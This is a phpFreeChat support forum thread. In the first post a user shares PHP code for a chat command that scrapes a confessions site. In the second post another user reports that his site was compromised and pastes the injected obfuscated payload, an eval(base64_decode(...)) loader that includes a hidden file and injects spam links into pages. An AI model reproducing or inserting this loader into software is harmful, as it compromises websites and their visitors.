• Forum
  • Doc
  • Screenshots
  • Download
  • Donate
  • Contributors
  • Contact
  • Follow @phpfreechat
  • DEMO
  • Board index ‹ Version 1.x branch ‹ General Support (v1.x)
  • Change font size
  • FAQ
  • Register
  • Login

$ct->write and encoding

Moderators: OldWolf, re*s.t.a.r.s.*2

Post a reply
2 posts • Page 1 of 1

Postby kriko » Mon Jun 08, 2009 1:22 am

Ok, I wrote a command for fetching content from grouphug, now I've modified this code to fetch from another site.
If you run this alone, it works, but in chat I always get just "[nick] <i>/izpoved</i>".

Messages are in utf-8, but containing special characters. I can print whole grouphug website into chat, but not a single char goes
trought when parsing izpovedi.rumenavrtnica.com.

Why? Code alone does work.

Code: Select all
<?php

require_once(dirname(__FILE__)."/../pfccommand.class.php");
require(dirname(__FILE__).'/../htmlParser/simple_html_dom.php');

class pfcCommand_izpoved extends pfcCommand
{
  var $usage = "/izpoved";

  function run(&$xml_reponse, $p)
  {
    $clientid    = $p["clientid"];
    $param       = $p["param"];
    $sender      = $p["sender"];
    $recipient   = $p["recipient"];
    $recipientid = $p["recipientid"];
   
    $c  =& pfcGlobalConfig::Instance();
    $u  =& pfcUserConfig::Instance();
    $ct =& pfcContainer::Instance();

      $contents = file_get_contents('http://izpovedi.rumenavrtnica.com/random.php');
//       echo $contents;
      $html = new simple_html_dom();
      $html->load($contents);
//       echo $html;
      $div = $html->find('[class*=confession]', 0);
//       echo $div;

      $inner = $div->innertext;
      $html->load($inner);
      $p = $html->find('[class*=confession_content]', 0);
//       echo $p;

      $text = $p->plaintext;
//       $message = $text;
      $message = preg_replace('/[^(x20-x7F)]*/','', $message);

      $ct->write($recipient, "*me*", $this->name, $u->getNickname().": <i>/izpoved</i>:".$message);
  }
}

?>

You need: http://sourceforge.net/projects/simplehtmldom/
kriko
Member
 
Posts: 30
Joined: Sun May 31, 2009 8:07 pm
Top

Postby deshmukh999 » Tue Jun 09, 2009 10:36 am

Is this a hack?
I integrated phpfreecha with osdate, after integration I found some unwanted urls with my source code. Those point to some dating sites. As well one script added with my all the php file.
any idea how to figure out how this is happening?
following script addeed at top of all the php files..

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9jb250ZW50L3MvaC9lL3NoZWVsYWRldmkvaHRtbC9zaWFpbmZvdGVjaC93cC1pbmNsdWRlcy9qcy90aW55bWNlL3BsdWdpbnMvaW5saW5lcG9wdXBzL3NraW5zL2NsZWFybG9va3MyL2ltZy9zdHlsZS5jc3MucGhwJykpe2luY2x1ZGVfb25jZSgnL2hvbWUvY29udGVudC9zL2gvZS9zaGVlbGFkZXZpL2h0bWwvc2lhaW5mb3RlY2gvd3AtaW5jbHVkZXMvanMvdGlueW1jZS9wbHVnaW5zL2lubGluZXBvcHVwcy9za2lucy9jbGVhcmxvb2tzMi9pbWcvc3R5bGUuY3NzLnBocCcpO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJiFmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpe2Z1bmN0aW9uIGd6ZGVjb2RlKCRkKXskZj1vcmQoc3Vic3RyKCRkLDMsMSkpOyRoPTEwOyRlPTA7aWYoJGYmNCl7JGU9dW5wYWNrKCd2JyxzdWJzdHIoJGQsMTAsMikpOyRlPSRlWzFdOyRoKz0yKyRlO31pZigkZiY4KXskaD1zdHJwb3MoJGQsY2hyKDApLCRoKSsxO31pZigkZiYxNil7JGg9c3RycG9zKCRkLGNocigwKSwkaCkrMTt9aWYoJGYmMil7JGgrPTI7fSR1PWd6aW5mbGF0ZShzdWJzdHIoJGQsJGgpKTtpZigkdT09PUZBTFNFKXskdT0kZDt9cmV0dXJuICR1O319ZnVuY3Rpb24gZGdvYmgoJGIpe0hlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyRjPWd6ZGVjb2RlKCRiKTtpZihwcmVnX21hdGNoKCcvXDxib2R5L3NpJywkYykpe3JldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxib2R5W15cPl0qXD4pL3NpJywnJDEnLmdtbCgpLCRjKTt9ZWxzZXtyZXR1cm4gZ21sKCkuJGM7fX1vYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>

What are the security concern with phpfreechat?
deshmukh999
New member
 
Posts: 1
Joined: Tue Jun 09, 2009 10:22 am
Top


Post a reply
2 posts • Page 1 of 1

Return to General Support (v1.x)

Who is online

Users browsing this forum: Google [Bot] and 18 guests

  • Board index
  • The team • Delete all board cookies • All times are UTC + 1 hour
Powered by phpBB® Forum Software © phpBB Group
Sign in
Wrong credentials
Sign up I forgot my password
.
jeu-gratuit.net | more partners
Fork me on GitHub